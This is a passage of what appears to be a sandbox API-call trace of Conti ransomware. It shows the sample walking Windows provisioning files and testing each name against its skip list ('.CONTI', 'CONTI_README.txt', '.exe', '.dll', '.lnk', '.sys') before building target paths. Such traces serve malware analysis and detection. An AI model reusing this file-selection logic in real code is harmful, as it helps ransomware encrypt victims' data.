	[0108.999] StrStrIW (lpFirst="259__Connections_Cellular_Maxis (Malaysia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.999] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.999] lstrlenW (lpString="259__Connections_Cellular_Maxis (Malaysia)_i0$(__MVID)@WAP.provxml") returned 66
	[0108.999] GetProcessHeap () returned 0x1720000
	[0108.999] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13a) returned 0x6b724b8
	[0108.999] lstrcpyW (in: lpString1=0x6b724b8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.999] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.999] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="259__Connections_Cellular_Maxis (Malaysia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\259__Connections_Cellular_Maxis (Malaysia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\259__Connections_Cellular_Maxis (Malaysia)_i0$(__MVID)@WAP.provxml"
	[0108.999] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901892f8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x901892f8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x901892f8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="25__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="25__CE~1.PRO")) returned 1
	[0108.999] lstrcmpiW (lpString1="25__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".") returned 1
	[0109.000] lstrcmpiW (lpString1="25__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2="..") returned 1
	[0109.000] StrStrIW (lpFirst="25__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0109.000] StrStrIW (lpFirst="25__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.000] StrStrIW (lpFirst="25__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".exe") returned 0x0
	[0109.000] StrStrIW (lpFirst="25__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".dll") returned 0x0
	[0109.000] StrStrIW (lpFirst="25__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".lnk") returned 0x0
	[0109.000] StrStrIW (lpFirst="25__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".sys") returned 0x0
	[0109.000] StrStrIW (lpFirst="25__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0109.000] StrStrIW (lpFirst="25__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.000] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.000] lstrlenW (lpString="25__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned 52
	[0109.000] GetProcessHeap () returned 0x1720000
	[0109.000] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x11e) returned 0x181b6b0
	[0109.000] lstrcpyW (in: lpString1=0x181b6b0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.000] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.000] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="25__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\25__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\25__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0109.000] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909bb812, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x909bb812, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x909bb812, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x300, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="260__Connections_Cellular_Maxis (Malaysia)_i1$(__MVID)@WAP.provxml", cAlternateFileName="260__C~1.PRO")) returned 1
	[0109.000] lstrcmpiW (lpString1="260__Connections_Cellular_Maxis (Malaysia)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.000] lstrcmpiW (lpString1="260__Connections_Cellular_Maxis (Malaysia)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.000] StrStrIW (lpFirst="260__Connections_Cellular_Maxis (Malaysia)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.000] StrStrIW (lpFirst="260__Connections_Cellular_Maxis (Malaysia)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.000] StrStrIW (lpFirst="260__Connections_Cellular_Maxis (Malaysia)_i1$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.000] StrStrIW (lpFirst="260__Connections_Cellular_Maxis (Malaysia)_i1$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.000] StrStrIW (lpFirst="260__Connections_Cellular_Maxis (Malaysia)_i1$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.000] StrStrIW (lpFirst="260__Connections_Cellular_Maxis (Malaysia)_i1$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.000] StrStrIW (lpFirst="260__Connections_Cellular_Maxis (Malaysia)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.000] StrStrIW (lpFirst="260__Connections_Cellular_Maxis (Malaysia)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.000] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.000] lstrlenW (lpString="260__Connections_Cellular_Maxis (Malaysia)_i1$(__MVID)@WAP.provxml") returned 66
	[0109.000] GetProcessHeap () returned 0x1720000
	[0109.000] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13a) returned 0x6b716a0
	[0109.000] lstrcpyW (in: lpString1=0x6b716a0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.000] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.001] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="260__Connections_Cellular_Maxis (Malaysia)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\260__Connections_Cellular_Maxis (Malaysia)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\260__Connections_Cellular_Maxis (Malaysia)_i1$(__MVID)@WAP.provxml"
	[0109.001] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909bb812, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x909bb812, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x909bb812, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2bf, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="261__Connections_Cellular_Maxis (Malaysia)_i2$(__MVID)@WAP.provxml", cAlternateFileName="261__C~1.PRO")) returned 1
	[0109.001] lstrcmpiW (lpString1="261__Connections_Cellular_Maxis (Malaysia)_i2$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.001] lstrcmpiW (lpString1="261__Connections_Cellular_Maxis (Malaysia)_i2$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.001] StrStrIW (lpFirst="261__Connections_Cellular_Maxis (Malaysia)_i2$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.001] StrStrIW (lpFirst="261__Connections_Cellular_Maxis (Malaysia)_i2$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.001] StrStrIW (lpFirst="261__Connections_Cellular_Maxis (Malaysia)_i2$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.001] StrStrIW (lpFirst="261__Connections_Cellular_Maxis (Malaysia)_i2$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.001] StrStrIW (lpFirst="261__Connections_Cellular_Maxis (Malaysia)_i2$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.001] StrStrIW (lpFirst="261__Connections_Cellular_Maxis (Malaysia)_i2$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.001] StrStrIW (lpFirst="261__Connections_Cellular_Maxis (Malaysia)_i2$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.001] StrStrIW (lpFirst="261__Connections_Cellular_Maxis (Malaysia)_i2$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.001] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.001] lstrlenW (lpString="261__Connections_Cellular_Maxis (Malaysia)_i2$(__MVID)@WAP.provxml") returned 66
	[0109.001] GetProcessHeap () returned 0x1720000
	[0109.001] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13a) returned 0x6b717e8
	[0109.001] lstrcpyW (in: lpString1=0x6b717e8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.001] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.001] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="261__Connections_Cellular_Maxis (Malaysia)_i2$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\261__Connections_Cellular_Maxis (Malaysia)_i2$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\261__Connections_Cellular_Maxis (Malaysia)_i2$(__MVID)@WAP.provxml"
	[0109.001] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909e1a7e, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x909e1a7e, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x909e1a7e, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28a, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="262__Connections_Cellular_Timecel (Malaysia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="262__C~1.PRO")) returned 1
	[0109.001] lstrcmpiW (lpString1="262__Connections_Cellular_Timecel (Malaysia)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.001] lstrcmpiW (lpString1="262__Connections_Cellular_Timecel (Malaysia)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.001] StrStrIW (lpFirst="262__Connections_Cellular_Timecel (Malaysia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.001] StrStrIW (lpFirst="262__Connections_Cellular_Timecel (Malaysia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.001] StrStrIW (lpFirst="262__Connections_Cellular_Timecel (Malaysia)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.001] StrStrIW (lpFirst="262__Connections_Cellular_Timecel (Malaysia)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.001] StrStrIW (lpFirst="262__Connections_Cellular_Timecel (Malaysia)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.001] StrStrIW (lpFirst="262__Connections_Cellular_Timecel (Malaysia)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.001] StrStrIW (lpFirst="262__Connections_Cellular_Timecel (Malaysia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.001] StrStrIW (lpFirst="262__Connections_Cellular_Timecel (Malaysia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.001] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.001] lstrlenW (lpString="262__Connections_Cellular_Timecel (Malaysia)_i0$(__MVID)@WAP.provxml") returned 68
	[0109.001] GetProcessHeap () returned 0x1720000
	[0109.001] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13e) returned 0x6b71930
	[0109.002] lstrcpyW (in: lpString1=0x6b71930, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.002] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.002] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="262__Connections_Cellular_Timecel (Malaysia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\262__Connections_Cellular_Timecel (Malaysia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\262__Connections_Cellular_Timecel (Malaysia)_i0$(__MVID)@WAP.provxml"
	[0109.002] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909e1a7e, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x909e1a7e, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x909e1a7e, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c4, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="263__Connections_Cellular_U Mobile (Malaysia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="263__C~1.PRO")) returned 1
	[0109.002] lstrcmpiW (lpString1="263__Connections_Cellular_U Mobile (Malaysia)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.002] lstrcmpiW (lpString1="263__Connections_Cellular_U Mobile (Malaysia)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.002] StrStrIW (lpFirst="263__Connections_Cellular_U Mobile (Malaysia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.002] StrStrIW (lpFirst="263__Connections_Cellular_U Mobile (Malaysia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.002] StrStrIW (lpFirst="263__Connections_Cellular_U Mobile (Malaysia)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.002] StrStrIW (lpFirst="263__Connections_Cellular_U Mobile (Malaysia)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.002] StrStrIW (lpFirst="263__Connections_Cellular_U Mobile (Malaysia)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.002] StrStrIW (lpFirst="263__Connections_Cellular_U Mobile (Malaysia)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.002] StrStrIW (lpFirst="263__Connections_Cellular_U Mobile (Malaysia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.002] StrStrIW (lpFirst="263__Connections_Cellular_U Mobile (Malaysia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.002] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.002] lstrlenW (lpString="263__Connections_Cellular_U Mobile (Malaysia)_i0$(__MVID)@WAP.provxml") returned 69
	[0109.002] GetProcessHeap () returned 0x1720000
	[0109.002] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x140) returned 0x6b71f98
	[0109.002] lstrcpyW (in: lpString1=0x6b71f98, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.002] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.002] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="263__Connections_Cellular_U Mobile (Malaysia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\263__Connections_Cellular_U Mobile (Malaysia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\263__Connections_Cellular_U Mobile (Malaysia)_i0$(__MVID)@WAP.provxml"
	[0109.002] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909e1a7e, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x909e1a7e, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x909e1a7e, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="264__Connections_Cellular_Go Mobile (Malta)_i0$(__MVID)@WAP.provxml", cAlternateFileName="264__C~1.PRO")) returned 1
	[0109.002] lstrcmpiW (lpString1="264__Connections_Cellular_Go Mobile (Malta)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.002] lstrcmpiW (lpString1="264__Connections_Cellular_Go Mobile (Malta)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.002] StrStrIW (lpFirst="264__Connections_Cellular_Go Mobile (Malta)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.002] StrStrIW (lpFirst="264__Connections_Cellular_Go Mobile (Malta)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.002] StrStrIW (lpFirst="264__Connections_Cellular_Go Mobile (Malta)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.002] StrStrIW (lpFirst="264__Connections_Cellular_Go Mobile (Malta)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.002] StrStrIW (lpFirst="264__Connections_Cellular_Go Mobile (Malta)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.002] StrStrIW (lpFirst="264__Connections_Cellular_Go Mobile (Malta)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.002] StrStrIW (lpFirst="264__Connections_Cellular_Go Mobile (Malta)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.002] StrStrIW (lpFirst="264__Connections_Cellular_Go Mobile (Malta)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.003] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.003] lstrlenW (lpString="264__Connections_Cellular_Go Mobile (Malta)_i0$(__MVID)@WAP.provxml") returned 67
	[0109.003] GetProcessHeap () returned 0x1720000
	[0109.003] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13c) returned 0x6b71a78
	[0109.003] lstrcpyW (in: lpString1=0x6b71a78, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.003] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.003] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="264__Connections_Cellular_Go Mobile (Malta)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\264__Connections_Cellular_Go Mobile (Malta)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\264__Connections_Cellular_Go Mobile (Malta)_i0$(__MVID)@WAP.provxml"
	[0109.003] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909e1a7e, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x909e1a7e, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x909e1a7e, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x284, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="265__Connections_Cellular_Go Mobile (Malta)_i1$(__MVID)@WAP.provxml", cAlternateFileName="265__C~1.PRO")) returned 1
	[0109.003] lstrcmpiW (lpString1="265__Connections_Cellular_Go Mobile (Malta)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.003] lstrcmpiW (lpString1="265__Connections_Cellular_Go Mobile (Malta)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.003] StrStrIW (lpFirst="265__Connections_Cellular_Go Mobile (Malta)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
